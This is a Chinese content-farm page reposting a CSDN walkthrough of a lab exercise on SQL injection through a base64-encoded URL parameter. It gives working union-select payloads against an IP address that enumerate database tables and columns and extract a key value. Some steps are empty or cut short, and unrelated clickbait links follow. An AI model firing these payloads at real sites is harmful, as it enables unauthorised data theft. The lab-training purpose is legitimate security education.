白帽什么意思(黑客技术交流论坛)

SQL注入实战

说明:下面的URL为了让读者可以看清,所以没有进行URL的base64加密,但是读者在执行前需要对其进行base64加密,之后才可以正常执行!本次靶场操作以个人的实验环境为例。 [本文来自:www.11jj.com]

首先从我实验的靶场可以看到该URL中存在一个参数,从参数的格式来看是通过了base64进行了加密,那么我们可以对其进行base64解密。

[原创文章:www.11jj.com]

发现解密之后的参数为1,这种类型的注入除了和我们以前的普通注入相比只是多了一个“base64”加密的过程,下面进行手工注入演示:

1、判断是否可以注入:

and 测试;

由上判断可以得知存在SQL注入。

2、猜解字段长度

order by 2

order by 3

可以猜到字段长度为2。

3、爆数据库名、数据库版本信息

4、爆表名

http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1--

5、爆字段名

http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1

6、爆字段值

http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1--

至此得到最后的内容!

转载:https://blog.csdn.net/fly_hps/article/details/80208384

标签:白帽
自媒体 微信号:11jj 扫描二维码关注公众号
爱八卦,爱爆料。

小编推荐

  1. 1

    燕窝有营养价值吗(燕窝的功效与作用及营养)

    大家好,小美今天来为大家解答燕窝有营养价值吗以下问题,燕窝的功效与作用及营养很多人还不知道,现在让我们一起来看看吧!1、燕窝含有丰富

  2. 2

    绝望表情包(绝望表情包搞笑图片)

    大家好,小伟今天来为大家解答绝望表情包以下问题,绝望表情包搞笑图片很多人还不知道,现在让我们一起来看看吧!1、我能怎么办啊我也很绝望

  3. 3

    和平精英怎么换头像qq(和平精英怎么换头像QQ登录)

    大家好,小美今天来为大家解答和平精英怎么换头像qq以下问题,和平精英怎么换头像QQ登录很多人还不知道,现在让我们一起来看看吧!1、点击《和

  4. 4

    副镇长是什么级别(直辖市副镇长是什么级别)

    大家好,小伟今天来为大家解答副镇长是什么级别以下问题,直辖市副镇长是什么级别很多人还不知道,现在让我们一起来看看吧!1、副镇长是副科

  5. 5

    用典型事例写一个人(用典型事例写一个人的品质)

    大家好,小美今天来为大家解答用典型事例写一个人以下问题,用典型事例写一个人的品质很多人还不知道,现在让我们一起来看看吧!1、第一,选择

  6. 6

    双色球有规律(双色球有规律吗新闻)

    大家好,小乐今天来为大家解答双色球有规律以下问题,双色球有规律吗新闻很多人还不知道,现在让我们一起来看看吧!1、双色球开奖有一定的规

  7. 7

    买汽车配件哪个平台好(买汽车配件哪个平台好一点)

    大家好,小娟今天来为大家解答买汽车配件哪个平台好以下问题,买汽车配件哪个平台好一点很多人还不知道,现在让我们一起来看看吧!1、买汽车

  8. 8

    时间定了!要涨?

    2024年的第7次油价调整将于4月1日晚上开启估计本轮油价将大几率上涨,92号汽油生怕要冲破8元/升!3月23日,国内第4个工作日参考原油转变率4.12%,

Copyright 2024.依依自媒体,让大家了解更多图文资讯!